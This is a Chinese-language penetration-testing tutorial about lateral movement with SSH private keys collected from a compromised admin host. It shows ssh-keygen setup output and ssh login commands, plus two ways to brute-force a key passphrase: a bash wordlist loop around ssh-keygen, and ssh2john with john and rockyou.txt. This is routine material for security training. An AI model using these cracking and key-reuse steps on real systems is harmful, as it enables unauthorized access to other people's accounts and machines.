在渗透中,经常会发现某管理员主机上保存了大量机器的公私钥用于ssh证书登录。这个时候可以通过这个证书进行远程登录。
先回顾下证书登录通常的配置方法
一、生成不带passphrase的公私钥证书实现免密登录:
root@kali:~/.ssh# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:ptikL9/0CSXOM2QrUcWyohUYhI4ofdgIZraTJdBwTjI root@kali The key's randomart image is: +---[RSA 2048]----+ |Eooooo .. | |.@o.. . ... | |==*+ ..o | |++= o o.. | |. .. oo.S . | | .= O + | | o + O | | .. + = . | | oo . o | +----[SHA256]-----+
然后将生成的公钥拷贝到目标机器的authorized_keys文件中,可以手动拷贝,也可以通过ssh-copy-id命令进行
运行ssh-keygen就可以自动生成公私钥,如下代码所示。注意加粗部分:大部分情况下,管理员为了实现免密登录,会在输入passphrase的时候直接回车跳过,只需要把生成的ids_rsa.pub放到目标机器的.ssh/authorized_keys中,这样在进行远程登录的时候就不在需要任何操作,直接运行以下命令即可登录成功
ssh -i "ids_rsa文件路径" "生成证书的用户名"@hostip #一般ids_rsa会直接生成在/home/用户名/.ssh目录下,这时候不需要通过i参数指定ids_rsa文件的位置
这里authorized_keys文件权限要为600,.ssh文件夹权限要为700
二、passphrase的破解
但是,有些时候,管理员具备一定的安全意识,不会忽略这个passphrase,我们即使拿到了公私钥,没有这个passphrase也无法进行登录,这时候就需要进行破解,如下图所示
1、先查看这个公私钥适用的用户:
查看ids_rsa.pub文件,最后一段就是可以登录的用户,如下图所示,当前公私钥适用于user用户
2、获取到适用的用户后,可以通过以下脚本破解passphrase,这里需要破解的目标文件是ids_rsa
方法一:ssh-keygen爆破
cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | while read pass; do if ssh-keygen -c -C "user@forandsix2" -P $pass -f id_rsa &>/dev/null; then echo $pass; break; fi; done
方法二:使用john爆破
root@kali:~# ssh2john ./id_rsa > crack.txt root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
root@kali:~# john crack.txt --show
*注:方法一适用于字典较小情况下进行爆破的情况,遇到大规模字典还是要使用方法二来进行,且前者需要知道目标机器的hostname
3、通过破解出来的passphrase进行登录即可
ssh -i ids_rsa user@x.x.x.x
部分参考自:https://hk.saowen.com/a/c99a2e09078b41f5e7c0fae6db217cfffc79aa487ef77ed63bd17d80ef4b3e14